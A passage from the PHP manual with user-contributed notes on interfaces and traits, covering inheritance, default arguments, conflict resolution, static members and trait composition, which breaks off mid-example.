Well, the right, clear way there would be to redefine interface iterator -- move the method key to the ancestor of iterator, and makes the ancestor ancestor of enumerated interface too. But it's (with built-in interfaces) impossible too.
harryjry at yahoo dot com 10-Jun-2008 11:29
The structure I am working with has a lot of inheritance going on, but not all methods are specified in one place. I needed a way to make sure an interface would be used, but that the method(s) defined in the interface are defined somewhere.

As such, I learned that the parent can define the interface's methods, and then the children can override that method at will without having to worry about the interface.

To expand on nrg1981's example, the following is possible:

<?php
interface water
{
    public function makeItWet();
}

class weather
{
    public function makeItWet()
    {
        return 'it may or may not be wet';
    }

    public function start()
    {
        return 'Here is some weather';
    }
}

class rain extends weather implements water
{
    public function makeItWet()
    {
        return 'It is wet';
    }
}

class thunder extends weather implements water
{

}

$a = new rain();
echo $a->start() . "\n";
echo $a->makeItWet() . "\n";

$a = new thunder();
echo $a->start() . "\n";
echo $a->makeItWet() . "\n";

?>
kaisershahid at gmail dot com 07-Apr-2008 02:41
php at wallbash dot com's comment of "It's important to note this because it is very unexpected behavior and renders many common Interface completly useless" doesn't make sense.

the idea of the interface is to force objects that aren't related to be reused in a common way. without them, to force that requirement, all objects that need those methods implemented would have to be descended from a base class that's known to have those methods. that's clearly not a smart idea if these objects aren't actually related.

one example (that i'm currently working on) is a background service that pulls information down from different content providers. i have a transport and i have an import. for both, what actually happens in the background is different from provider to provider, but since i'm implementing a transport & import interface, i only need to write code once, because i know exactly the what methods will be implemented to get the job done. then, i just have a config file that loads the class dynamically. i don't need something like

if ( $provider == "some company" )
{
   // use this set of code
}
elseif ( $provider == "another company" )
{
   // use this other set of code
}

instead, i can do:

foreach ( $providers as $provider => $info )
{
    $_transport = $info['transportObject'];
    $transport = new $_transport();
    $_import = $info['importObject'];
    $import = new $_import();

    $transport->setImporter( $import );
    $transport->retrieve();
}

it is expected behavior that when a class implements two interfaces that share one or more method names, an error is thrown, because interfaces don't relate to each other. if you want that sort of inferred behavior (i.e. A and B are different except for these shared methods), stick to [abstract] classes.

it sucks that interface methods might collide for some common types of tasks (get(), set(), etc.), so knowing that, design your interfaces with more unique method names.
michael dot martinek at gmail dot com 04-Jan-2008 05:18
In regards to what Hayley Watson is writing:

The "interface" is a method of enforcing that anyone who implements it must include all the functions declared in the interface. This is an abstraction method, since you cannot just declare a base class and do something like "public abstract function myTest();" and later on extend that class.

If you don't override the default value in a parameter list, it's assumed that the default value was received by time you have any control to read or relay the value on again. There should be no problem in having all or none of your parameters in an interface having a default value, as the value is "auto-filled" if not explicitly provided.

I just came across interfaces in PHP.. but I use them quite a bit in Java and Delphi. Currently building different DB wrappers, but all must enforce common access using a base class.. and also enforce that all of specific routines are implemented.
Docey 12-Nov-2007 12:23
Another note about default values in interfaces is that an class must implement at least the arguments as in the interface. that is: an implementation may have more arguments but not less if these additional arguments have an default value and thus can be called as declared in the interface.

an litte example:
<?php
interface myInterface{
  public function setStuff($id, $name);
}

class MyFirstClass implements myInterface{
  public function setStuff($id, $name);
}

class MySecondClass implements myInterface{
 public function setStuff($id, $name, $type);
}

class myThirdClass implements myInterface{
 public function setStuff($id, $name, $type=0);
}
?>

Here mySecondClass will print an fatal error while myThirdClass is just fine because myThirdClass::setStuff($id, $name); is valid and thus fullfills the interface requirements. an interface declares as set of requirement on how methods can be called and any class implementing an interface thus agrees that is will provide these methods and that they can be called as in the interface. adding additional arguments with default values is thus allowed because it does not violate the agreement that the method can be called as in the interface.
nrg1981 {AT} hotmail {DOT} com 05-Oct-2007 03:48
In case you would want to, a child class can implement an interface:

<?php

interface water
{
    public function makeItWet();
}

class weather
{
    public function start()
    {
        return 'Here is some weather';
    }
}

class rain extends weather implements water
{
    public function makeItWet()
    {
        return 'It is wet';
    }
}

$a = new rain();
echo $a->start();
echo $a->makeItWet();

?>
Hayley Watson 21-Sep-2007 12:42
If it's not already obvious, it's worth noticing that the parameters in the interface's method declaration do not have to have the same names as those in any of its implementations.

More significantly, default argument values may be supplied for interface method parameters, and they have to be if you want to use default argument values in the implemented classes:

<?php
interface isStuffable
{
    public function getStuffed($ratio=0.5);
}

class Turkey implements isStuffable
{
    public function getStuffed($stuffing=1)
    {
        // ....
    }
}
?>

Note that not only do the parameters have different names ($ratio and $stuffing), but their default values are free to be different as well. There doesn't seem to be any purpose to the interface's default argument value except as a dummy placeholder to show that there is a default (a class implementing isStuffable will not be able to implement methods with the signatures getStuffed(), getStuffed($a), or getStuffed($a,$b)).
Hayley Watson 21-Sep-2007 07:34
On an incidental note, it is not necessary for the implementation of an interface method to use the same variable names for its parameters that were used in the interface declaration.

More significantly, your interface method declarations can include default argument values. If you do, you must specify their implementations with default arguments, too. Just like the parameter names, the default argument values do not need to be the same. In fact, there doesn't seem to be any functionality to the one in the interface declaration at all beyond the fact that it is there.

<?php
interface isStuffed {
    public function getStuff($something=17);
}

class oof implements isStuffed {
    public function getStuff($a=42) {
        return $a;
    }
}

$oof = new oof;

echo $oof->getStuff();
?>

Implementations that try to declare the method as getStuff(), getStuff($a), or getStuff($a,$b) will all trigger a fatal error.
zedd at fadingtwilight dot net 05-Jul-2007 06:42
Regarding my previous note (04-Jul-2007 9:01):

I noticed a minor but critical mistake in my explanation. After the link to the PHP manual page on class abstraction, I stated:

"So by definition, you may only overload non-abstract methods."

This is incorrect. This should read:

"So by definition, you may only override non-abstract methods."

Sorry for any confusion.
zedd at fadingtwilight dot net 05-Jul-2007 06:01
prometheus at php-sparcle:

Your code fails because you're effectively trying to do this:

<?php
    abstract class IFoo
    {
        abstract public function Foo();
    }

    abstract class IBar extends IFoo
    {
        // Fails; abstract method IFoo::Foo() must be defined in child and must match parent's definition
        abstract public function Foo($bar);
    }
?>

By definition, all methods in an interface are abstract. So the above code segment is equivalent to your interface definitions and results in the same error. Why? Let's have a look at the PHP manual. From the second paragraph on class abstraction:

"When inheriting from an abstract class, all methods marked abstract in the parent's class declaration must be defined by the child;"

http://www.php.net/manual/en/language.oop5.abstract.php

So by definition, you may only overload non-abstract methods.

For example:

<?php
    abstract class IFoo
    {
        public function Foo()
        {
            // do something...
        }
    }

    abstract class IBar extends IFoo
    {
        public function Foo($bar)
        {
            // do something else...
        }
    }
?>

This can't be directly replicated with interfaces since you can't implement methods inside of an interface. They can only be implemented in a class or an abstract class.

If you must use interfaces, the following accomplishes the same thing, but with two separate method names:

<?php
    interface IFoo
    {
        public function Foo();
    }

    interface IBar extends IFoo
    {
        public function Bar($bar);
    }

    class FooBar implements IBar
    {
        public function Foo()
        {
            // do something...
        }

        public function Bar($bar)
        {
            // do something else...
        }
    }
?>

If both methods need the same name, then you'll have to use non-abstract methods. In this case, interfaces aren't the right tool for the job. You'll want to use abstract classes (or just regular classes).
Maikel 13-Jan-2007 12:07
if you want to implement an interface and in addition to use inheritance, first it uses “extends” and then “implements” example:

<?php
class MyChildClass extends MyParentClass implements MyInterface
{
   // definition
}
?>
Chris AT w3style DOT co.uk 07-Dec-2006 02:25
Note that you can extend interfaces with other interfaces since under-the-hood they are just abstract classes:

<?php

interface Foo {
    public function doFoo();
}

interface Bar extends Foo {
    public function doBar();
}

class Zip implements Bar {
    public function doFoo() {
        echo "Foo";
    }
    public function doBar() {
        echo "Bar";
    }
}

$zip = new Zip();
$zip->doFoo();
$zip->doBar();

?>

This is quite useful when you're using interfaces for identity more than the rigidity it places upon an API.  You can get the same result by implementing multiple interfaces.

An example of where I've used this in the past is with EventListener objects ala Java's Swing UI.  Some listeners are effectively the same thing but happen at different times therefore we can keep the same API but change the naming for clarity.
marasek AT telton POINT de 07-Sep-2006 03:01
What is not mentioned in the manual is that you can use "self" to force object hinting on a method of the implementing class:

Consider the following interface:
<?php
interface Comparable
{function compare(self $compare);}
?>

Which is then implemented:

<?php

class String implements Comparable
{
    private $string;
    function __construct($string)
    {$this->string = $string;}
    function compare(self $compare)
    {return $this->string == $compare->string;}
}

class Integer implements Comparable
{
    private $integer;
    function __construct($int)
    {$this->integer = $int;}
    function compare(self $compare)
    {return $this->integer == $compare->integer;}
}

?>

Comparing Integer with String will result in a fatal error, as it is not an instance of the same class:

<?php
$first_int = new Integer(3);
$second_int = new Integer(3);
$first_string = new String("foo");
$second_string = new String("bar");

var_dump($first_int->compare($second_int)); // bool(true)
var_dump($first_string->compare($second_string)); // bool(false)
var_dump($first_string->compare($second_int)); // Fatal Error
?>
vbolshov at rbc dot ru 10-Aug-2006 11:34
Consider the following:
[vbolshov@localhost tmp]$ cat t.php
<?php

error_reporting(E_ALL | E_STRICT);

interface i {
        function f($arg);
}
class c implements i {
        function f($arg, $arg2 = null)
        {
        }
}
?>
[vbolshov@localhost tmp]$ php t.php
[vbolshov@localhost tmp]$

PHP doesn't generate a Fatal Error in this case, although the method declaration in the class differs from that in the interface. This situation doesn't seem good to me: I'd prefer classes being strictly bound to their interfaces.
spiritus.canis at gmail dot com 25-Oct-2005 07:45
Regarding the example by cyrille.berliat:

This is not a problem and is consistent with other languages.  You'd just want to use inheritance like so:

<?php

class AbstractClass {
   public function __ToString ( ) { return 'Here I am'; }
}

class DescendantClass extends AbstractClass {}

interface MyInterface {
   public function Hello ( AbstractClass $obj );
}

class MyClassOne implements MyInterface {

   public function Hello ( AbstractClass $obj ) {
       echo $obj;
   }
} // Will work as Interface Satisfied

$myDC = new DescendantClass() ;
MyClassOne::Hello( $myDC ) ;

?>
cyrille.berliat[no spam]free.fr 17-Oct-2005 11:29
Interfaces and Type Hinting can be used but not with Inherintance in the same time :

<?

class AbstractClass
{
    public function __ToString ( ) { return 'Here I\'m I'; }
}

class DescendantClass extends AbstractClass
{

}

interface MyI
{
    public function Hello ( AbstractClass $obj );
}

class MyClassOne implements MyI
{
    public function Hello ( AbstractClass $obj )
    {
        echo $obj;
    }
} // Will work as Interface Satisfied

class MyClassTwo implements MyI
{
    public function Hello ( DescendantClass $obj )
    {
        echo $obj;
    }
} // Will output a fatal error because Interfaces don't support Inherintance in TypeHinting

//Fatal error: Declaration of MyClassTwo::hello() must be compatible with that of MyI::hello()

?>

Something a little bit bad in PHP 5.0.4 :)
darealremco at msn dot com 02-Oct-2005 09:53
To two notes below: There is one situation where classes and interfaces can be used interchangeably. In function definitions you can define parameter types to be classes or interfaces. If this was not so then there would not be much use for interfaces at all.
warhog at warhog dot net 11-Aug-2005 05:35
on the post below:

An interface is in fact the same like an abstract class containing abstract methods, that's why interfaces share the same namespace as classes and why therefore "real" classes cannot have the same name as interfaces.
marcus at synchromedia dot co dot uk 28-Jul-2005 01:11
Classes and interface names share a common name space, so you can't have a class and an interface with the same name, even though the two can never be used ambiguously (i.e. there are no circumstances in which a class and an interface can be used interchangeably). e.g. this will not work:

interface foo {
public function bling();
}

class foo implements foo {
public function bling() {
}
}

You will get a 'Cannot redeclare class' error, even though it's only been declared as a class once.
tobias_demuth at web dot de 04-May-2005 11:21
The statement, that you have to implement _all_ methods of an interface has not to be taken that seriously, at least if you declare an abstract class and want to force the inheriting subclasses to implement the interface.
Just leave out all methods that should be implemented by the subclasses. But never write something like this:

<?php

interface Foo {

      function bar();

}

abstract class FooBar implements Foo {

       abstract function bar(); // just for making clear, that this
                                 // method has to be implemented

}

?>

This will end up with the following error-message:

Fatal error: Can't inherit abstract function Foo::bar() (previously declared abstract in FooBar) in path/to/file on line anylinenumber
erik dot zoltan at msn dot com 25-Feb-2005 07:43
When should you use interfaces?  What are they good for?
Here are two examples.

1. Interfaces are an excellent way to implement reusability.
You can create a general interface for a number of situations
(such as a save to/load from disk interface.)  You can then
implement the interface in a variety of different ways (e.g. for
formats such as tab delimited ASCII, XML and a database.)
You can write code that asks the object to "save itself to
disk" without having to worry what that means for the object
in question.  One object might save itself to the database,
another to an XML and you can change this behavior over
time without having to rewrite the calling code.

This allows you to write reusable calling code that can work
for any number of different objects -- you don't need to know
what kind of object it is, as long as it obeys the common
interface.

2. Interfaces can also promote gradual evolution.  On a
recent project I had some very complicated work to do and I
didn't know how to implement it.  I could think of a "basic"
implementation but I knew I would have to change it later.
So I created interfaces in each of these cases, and created
at least one "basic" implementation of the interface that
was "good enough for now" even though I knew it would have
to change later.

When I came back to make the changes, I was able to create
some new implementations of these interfaces that added the
extra features I needed.  Some of my classes still used
the "basic" implementations, but others needed the
specialized ones.  I was able to add the new features to the
objects themselves without rewriting the calling code in most
cases.  It was easy to evolve my code in this way because
the changes were mostly isolated -- they didn't spread all
over the place like you might expect.
mat.wilmots (at) wanadoo (dot) fr 20-Jan-2005 03:22
interfaces support multiple inheritance

<?php

interface SQL_Result extends SeekableIterator, Countable
{
    // new stuff
}

abstract class SQL_Result_Common
{
    // just because that's what one would do in reality, generic implementation
}

class SQL_Result_mysql extends SQL_Result_Common implements SQL_Result
{
   // actual implementation
}

?>

This code raises a fatal error because SQL_Result_mysql doesn't implement the abstract methods of SeekableIterator (6) + Countable (1)
russ dot collier at gmail dot com 28-Nov-2004 07:24
You can also specify class constants in interfaces as well (similar to specifying 'public static final' fields in Java interfaces):

<?php

interface FooBar
{

    const SOME_CONSTANT = 'I am an interface constant';

    public function doStuff();

}

?>

Then you can access the constant by referring to the interface name, or an implementing class, (again similar to Java) e.g.:

<?php

class Baz implements FooBar
{

    //....

}

print Baz::SOME_CONSTANT;
print FooBar::SOME_CONSTANT;

?>

Both of the last print statements will output the same thing: the value of FooBar::SOME_CONSTANT


Traits

As of PHP 5.4.0, PHP implements a method of code reuse called Traits.

Traits are a mechanism for code reuse in single inheritance languages such as PHP. A Trait is intended to reduce some limitations of single inheritance by enabling a developer to reuse sets of methods freely in several independent classes living in different class hierarchies. The semantics of the combination of Traits and classes is defined in a way which reduces complexity, and avoids the typical problems associated with multiple inheritance and Mixins.

A Trait is similar to a class, but only intended to group functionality in a fine-grained and consistent way. It is not possible to instantiate a Trait on its own. It is an addition to traditional inheritance and enables horizontal composition of behavior; that is, the application of class members without requiring inheritance.

Example #1 Trait example

<?php
trait ezcReflectionReturnInfo {
    function getReturnType() { /*1*/ }
    function getReturnDescription() { /*2*/ }
}

class ezcReflectionMethod extends ReflectionMethod {
    use ezcReflectionReturnInfo;
    /* ... */
}

class ezcReflectionFunction extends ReflectionFunction {
    use ezcReflectionReturnInfo;
    /* ... */
}
?>

Precedence

An inherited member from a base class is overridden by a member inserted by a Trait. The precedence order is that members from the current class override Trait methods, which in turn override inherited methods.

Example #2 Precedence Order Example

An inherited method from a base class is overridden by the method inserted into MyHelloWorld from the SayWorld Trait. The behavior is the same for methods defined in the MyHelloWorld class. The precedence order is that methods from the current class override Trait methods, which in turn override methods from the base class.

<?php
class Base {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait SayWorld {
    public function sayHello() {
        parent::sayHello();
        echo 'World!';
    }
}

class MyHelloWorld extends Base {
    use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

The above example will output:

Hello World!

Example #3 Alternate Precedence Order Example

<?php
trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

class TheWorldIsNotEnough {
    use HelloWorld;
    public function sayHello() {
        echo 'Hello Universe!';
    }
}

$o = new TheWorldIsNotEnough();
$o->sayHello();
?>

The above example will output:

Hello Universe!

Multiple Traits

Multiple Traits can be inserted into a class by listing them in the use statement, separated by commas.

Example #4 Multiple Traits Usage

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

The above example will output:

Hello World!

Conflict Resolution

If two Traits insert a method with the same name, a fatal error is produced, if the conflict is not explicitly resolved.

To resolve naming conflicts between Traits used in the same class, the insteadof operator needs to be used to chose exactly one of the conflicting methods.

Since this only allows one to exclude methods, the as operator can be used to allow the inclusion of one of the conflicting methods under another name.

Example #5 Conflict Resolution

In this example, Talker uses the traits A and B. Since A and B have conflicting methods, it defines to use the variant of smallTalk from trait B, and the variant of bigTalk from trait A.

The Aliased_Talker makes use of the as operator to be able to use B's bigTalk implementation under an additional alias talk.

<?php
trait A {
    public function smallTalk() {
        echo 'a';
    }
    public function bigTalk() {
        echo 'A';
    }
}

trait B {
    public function smallTalk() {
        echo 'b';
    }
    public function bigTalk() {
        echo 'B';
    }
}

class Talker {
    use A, B {
        B::smallTalk insteadof A;
        A::bigTalk insteadof B;
    }
}

class Aliased_Talker {
    use A, B {
        B::smallTalk insteadof A;
        A::bigTalk insteadof B;
        B::bigTalk as talk;
    }
}
?>

Changing Method Visibility

Using the as syntax, one can also adjust the visibility of the method in the exhibiting class.

Example #6 Changing Method Visibility

<?php
trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

// Change visibility of sayHello
class MyClass1 {
    use HelloWorld { sayHello as protected; }
}

// Alias method with changed visibility
// sayHello visibility not changed
class MyClass2 {
    use HelloWorld { sayHello as private myPrivateHello; }
}
?>

Traits Composed from Traits

Just as classes can make use of traits, so can other traits. By using one or more traits in a trait definition, it can be composed partially or entirely of the members defined in those other traits.

Example #7 Traits Composed from Traits

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World!';
    }
}

trait HelloWorld {
    use Hello, World;
}

class MyHelloWorld {
    use HelloWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
?>

The above example will output:

Hello World!

Abstract Trait Members

Traits support the use of abstract methods in order to impose requirements upon the exhibiting class.

Example #8 Express Requirements by Abstract Methods

<?php
trait Hello {
    public function sayHelloWorld() {
        echo 'Hello'.$this->getWorld();
    }
    abstract public function getWorld();
}

class MyHelloWorld {
    private $world;
    use Hello;
    public function getWorld() {
        return $this->world;
    }
    public function setWorld($val) {
        $this->world = $val;
    }
}
?>

Static Trait Members

Traits can define both static members and static methods.

Example #9 Static Variables

<?php
trait Counter {
    public function inc() {
        static $c = 0;
        $c = $c + 1;
        echo "$c\n";
    }
}

class C1 {
    use Counter;
}

class C2 {
    use Counter;
}

$o = new C1(); $o->inc(); // echo 1
$p = new C2(); $p->inc(); // echo 1
?>

Example #10 Static Methods

<?php
trait StaticExample {
    public static function doSomething() {
        return 'Doing something';
    }
}

class Example {
    use StaticExample;
}

Example::doSomething();
?>

Properties

Traits can also define properties.

Example #11 Defining Properties

<?php
trait PropertiesTrait {
    public $x = 1;
}

class PropertiesExample {
    use PropertiesTrait;
}

$example = new PropertiesExample;
$example->x;
?>

If a trait defines a property then a class can not define a property with the same name, otherwise an error is issued. It is an E_STRICT if the class definition is compatible (same visibility and initial value) or fatal error otherwise.

Example #12 Conflict Resolution

<?php
trait PropertiesTrait {
    public $same = true;
    public $different = false;
}

class PropertiesExample {
    use PropertiesTrait;
    public $same = true; // Strict Standards
    public $different = true; // Fatal error
}
?>

User Contributed Notes

angel dot ayora at gmail dot com 13-Oct-2014 11:28
The traits can be used if are inherited from a parent class, but the trait still belong to parent class:

<?php

trait Singleton
{
    private static $instance = null;

    public static function singleton()
    {
        if( self::$instance == null )
        {
            self::$instance = new self();
        }
        return self::$instance;
    }
}

class A
{
    use Singleton;
    private function __construct(){}
}

class B extends A
{
    private function __construct(){}
}

$b = B::singleton();
echo get_class($b); //Output: A

?>
ryan dot yoosefi at gmail dot com 28-Sep-2014 10:34
Visibility in traits is not shared between trait users.

<?php

trait T {
    protected $secret = 1;
}

class X {
    use T;
    public function peek ( Y $y ) {
        echo $y->secret;
    }
}

class Y {
    use T;
}

(new X)->peek(new Y); // Fatal:  Cannot access protected property Y::$secret
?>

This is as expected when thinking of traits as language assisted copy-paste.
Kristof 30-May-2014 08:18
don't forget you can create complex (embedded) traits as well

<?php
trait Name {
  // ...
}
trait Address {
  // ...
}
trait Telephone {
  // ...
}
trait Contact {
  use Name, Address, Telephone;
}
class Customer {
  use Contact;
}
class Invoce {
  use Contact;
}
?>
qschuler at neosyne dot com 14-Feb-2014 05:31
Note that you can omit a method's inclusion by excluding it from one trait in favor of the other and doing the exact same thing in the reverse way.

<?php

trait A {
    public function sayHello()
    {
        echo 'Hello from A';
    }

    public function sayWorld()
    {
        echo 'World from A';
    }
}

trait B {
    public function sayHello()
    {
        echo 'Hello from B';
    }

    public function sayWorld()
    {
        echo 'World from B';
    }
}

class Talker {
    use A, B {
        A::sayHello insteadof B;
        A::sayWorld insteadof B;
        B::sayWorld insteadof A;
    }
}

$talker = new Talker();
$talker->sayHello();
$talker->sayWorld();

?>

The method sayHello is imported, but the method sayWorld is simply excluded.
tomasz at marcinkowski dot pl 10-Feb-2014 08:05
Unlike the __CLASS__ constant, which returns name of a class implementing a trait, the __METHOD__ constant returns the trait method name. You might find it useful.

Example:

<?php

namespace XXX;

trait Ta {
  public function test1() {
    return sprintf('class: %s, method: %s, trait: %s', __CLASS__, __METHOD__, __TRAIT__);
  }
}

class A {
  use Ta;
}

$a = new A();
var_dump($a->test1()); // class: XXX\A, method: XXX\Ta::test1, trait: XXX\Ta

?>
majoro chitetskoy at gmail dot com 16-Dec-2013 05:03
Some extreme Trait testing, which anyone can find useful. This involves what can be called as "Trait Inheritance" though I doubt if that is a proper word. This shows how to have some sort of inheritance in Traits.

Snippet from one complex Tristan Engine code.

<?php
/**
 * Trait and Helper Backbone class
 */
trait Foo_HlpBbT {
      function  mnInfo_gst($x=null, $c=false){
        echo "Foo_HlpBbT has been called\n";
      }
}

/**
 * Base Archvie
 */
class Foo_BaseArchive {
    use Foo_HlpBbT;

    // accessor properties
    public    $_mnInfo;
}

/**
 * Testing Archive
 */
class Foo_ItemArchvie extends
    Foo_BaseArchive
{
}

/**
 * Testing Archive 2
 */
/**
 * The base handler for sub base handler
 */
trait Foo_Item_HlpBbT {
    use Foo_HlpBbT;

    function mnInfo_gst($x=null, $c=false){
        parent::mnInfo_gst($x,$c);
        echo "Foo_Item_HlpBbT is called.\n";
    }
}

/**
 * The base handler for sub base handler
 */
trait Foo_Item_HlpBbT2 {
    use Foo_Item_HlpBbT {
        Foo_Item_HlpBbT::mnInfo_gst as _e1_mnInfo_gst;
    }

    // We need that the Foo_HlpBbT::mnInfo_gst, Foo_Item_HlpBbT::mnInfo_gst and this mnInfo_gst is called.
    // Troubles here, only the Foo_HlpBbT and this is called, the Foo_Item_HlpBbT is skipped.
    // So it's important that if necessary, the function that is intended to be "overriden" from
    // the trait inheritances be aliased like what we did to mnInfo_gst.
    function mnInfo_gst($x=null, $c=false){
        $this->_e1_mnInfo_gst($x,$c);
        echo "Foo_Item_HlpBbT2 is called.\n";
    }
}

/**
 * The base handler for sub base handler
 */
trait Foo_Item_HlpBbT3 {
    use Foo_Item_HlpBbT2 {
        Foo_Item_HlpBbT2::mnInfo_gst as _e2_mnInfo_gst;
    }

    // Another deeper Trait declaration
    function mnInfo_gst($x=null, $c=false){
        $this->_e2_mnInfo_gst($x,$c);
        echo "Foo_Item_HlpBbT3 is called.\n";
    }
}

/**
 * Item Archive
 */
class Foo_Item_ItemArchive extends
    Foo_BaseArchive
{
    use Foo_Item_HlpBbT3;
}

// Testing na
$tang = new Foo_Item_ItemArchive();
$tang->mnInfo_gst();
?>
outputs:

Foo_HlpBbT has been called
Foo_Item_HlpBbT is called.
Foo_Item_HlpBbT2 is called.
Foo_Item_HlpBbT3 is called.
peter at icb dot at 28-Nov-2013 09:48
You cannot use a trait whos name is in a variable like:
<?php
trait mytrait { public $x; }

$tr = 'mytrait';
class myclass
{
  use $tr;
  ...
}
?>

If you really need that, you have to use eval:
<?php
eval("
class my_tmp_class { use $tr; }
");

class myclass extends my_tmp_class { ... }
?>
atorich at gmail dot com 29-Oct-2013 10:56
add to "chris dot rutledge at gmail dot com":
__CLASS__ will return the name of the class in which the trait is being used (!) not the class in which trait method is being called:

<?php
trait TestTrait {
    public function testMethod() {
        echo "Class: " . __CLASS__ . PHP_EOL;
        echo "Trait: " . __TRAIT__ . PHP_EOL;
    }
}

class BaseClass {
    use TestTrait;
}

class TestClass extends BaseClass {

}

$t = new TestClass();
$t->testMethod();

//Class: BaseClass
//Trait: TestTrait
atorich at gmail dot com 29-Oct-2013 10:54
add to "chris dot rutledge at gmail dot com":
__CLASS__ will return the name of the class in which the trait is being used (!) not the class in which trait method is being called:

<?php
trait TestTrait {
    public function testMethod() {
        echo "Class: " . __CLASS__ . PHP_EOL;
        echo "Trait: " . __TRAIT__ . PHP_EOL;
    }
}

class BaseClass {
    use TestTrait;
}

class TestClass extends BaseClass {

}

$t = new TestClass();
$t->testMethod();

//Class: BaseClass
//Trait: TestTrait
Stefan W 22-Aug-2013 07:03
Note that the "use" operator for traits (inside a class) and the "use" operator for namespaces (outside the class) resolve names differently. "use" for namespaces always sees its arguments as absolute (starting at the global namespace):

<?php
namespace Foo\Bar;
use Foo\Test;  // means \Foo\Test - the initial \ is optional
?>

On the other hand, "use" for traits respects the current namespace:

<?php
namespace Foo\Bar;
class SomeClass {
    use Foo\Test;   // means \Foo\Bar\Foo\Test
}
?>

Together with "use" for closures, there are now three different "use" operators. They all mean different things and behave differently.
contato at williamsantana dot com dot br 23-Jul-2013 12:26
Please note that a trait cannot extend a class. Traits can only contain another traits by using 'use' keyword. Things like

<?php
    trait DetailedException extends Exception {}
?>

will not work. Be careful.

Cheers.
Oddant 30-May-2013 12:10
I think it's obvious to notice that using 'use' followed by the traits name must be seen as just copying/pasting lines of code into the place where they are used.
syzer3 at gmail dot com 27-Apr-2013 06:14
Traits can be useful to create Fluent API
ex:
trait StaticMake
{
    public static function make()
    {
        return new static();
    }
}
class HelloWorld
{
 use StaticMake;

   public function getHello()
   {
      return "Hello World";
   }
}
//now instead:
$theHello = new HelloWorld;
echo $theHello -> getHello();

//one may just use
echo HelloWorld:make() -> getHello();
Serafim 27-Jan-2013 05:38
Another useful property of traits:
<?php
namespace Traits;
trait Properties{
    public function __get($var){
        $var = '_' . $var;
        $getter = '_get' . $var;

        if(method_exists($this, $getter)){
            try{
                $val = $this->$getter();
            }catch(\Exception $e){
                throw new \Exception($e);
            }
            return $val;
        }
        throw new \Exception('Can not get property: ' . $var . ', method ' . $getter . ' not exists');
    }

    public function __set($var, $val){
        $var = '_' . $var;
        $setter = '_set' . $var;

        if(method_exists($this->$setter) && isset($this->$var)){
            try{
                $setval = $this->$setter($val);
            }catch(\Exception $e){
                throw new \Exception($e);
            }
            $this->$var = ($setval === NULL) ? $this->$var : $setval;
        }else{
            throw new \Exception('Can not set property: ' . $var . ', method ' . $setter . ' not exists');
        }
    }
}

class Some{
  use \Chidori\Traits\Properties;

  // Magic begin
  protected $_var = 42;
  protected function _get_var(){ return $this->_var; }
  protected function _set_var($val){ return NULL; }
}

$s = new Some();
$s->var = 23; \\ set value
echo $s->var; \\ return 42? where is my 23? =)
?>
D. Marti 02-Nov-2012 12:25
Traits are useful for strategies, when you want the same data to be handled (filtered, sorted, etc) differently.

For example, you have a list of products that you want to filter out based on some criteria (brands, specs, whatever), or sorted by different means (price, label, whatever). You can create a sorting trait that contains different functions for different sorting types (numeric, string, date, etc). You can then use this trait not only in your product class (as given in the example), but also in other classes that need similar strategies (to apply a numeric sort to some data, etc).

<?php
trait SortStrategy {
    private $sort_field = null;
    private function string_asc($item1, $item2) {
        return strnatcmp($item1[$this->sort_field], $item2[$this->sort_field]);
    }
    private function string_desc($item1, $item2) {
        return strnatcmp($item2[$this->sort_field], $item1[$this->sort_field]);
    }
    private function num_asc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] < $item2[$this->sort_field] ? -1 : 1 );
    }
    private function num_desc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] > $item2[$this->sort_field] ? -1 : 1 );
    }
    private function date_asc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 < $date2 ? -1 : 1 );
    }
    private function date_desc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 > $date2 ? -1 : 1 );
    }
}

class Product {
    public $data = array();

    use SortStrategy;

    public function get() {
        // do something to get the data, for this ex. I just included an array
        $this->data = array(
            101222 => array('label' => 'Awesome product', 'price' => 10.50, 'date_added' => '2012-02-01'),
            101232 => array('label' => 'Not so awesome product', 'price' => 5.20, 'date_added' => '2012-03-20'),
            101241 => array('label' => 'Pretty neat product', 'price' => 9.65, 'date_added' => '2012-04-15'),
            101256 => array('label' => 'Freakishly cool product', 'price' => 12.55, 'date_added' => '2012-01-11'),
            101219 => array('label' => 'Meh product', 'price' => 3.69, 'date_added' => '2012-06-11'),
        );
    }

    public function sort_by($by = 'price', $type = 'asc') {
        if (!preg_match('/^(asc|desc)$/', $type)) $type = 'asc';
        switch ($by) {
            case 'name':
                $this->sort_field = 'label';
                uasort($this->data, array('Product', 'string_'.$type));
            break;
            case 'date':
                $this->sort_field = 'date_added';
                uasort($this->data, array('Product', 'date_'.$type));
            break;
            default:
                $this->sort_field = 'price';
                uasort($this->data, array('Product', 'num_'.$type));
        }
    }
}

$product = new Product();
$product->get();
$product->sort_by('name');
echo '<pre>'.print_r($product->data, true).'</pre>';
?>
artur at webprojektant dot pl 29-Sep-2012 03:10
Trait can not have the same name as class because it will  show: Fatal error: Cannot redeclare class
dario dot masamune at gmail dot com 18-Aug-2012 09:27
Just in case someone was wondering, traits can be inside namespaces too! Cool!!
t8 at AT pobox dot com 24-Jul-2012 05:17
Another difference with traits vs inheritance is that methods defined in traits can access methods and properties of the class they're used in, including private ones.

For example:
<?php
trait MyTrait
{
  protected function accessVar()
  {
    return $this->var;
  }

}

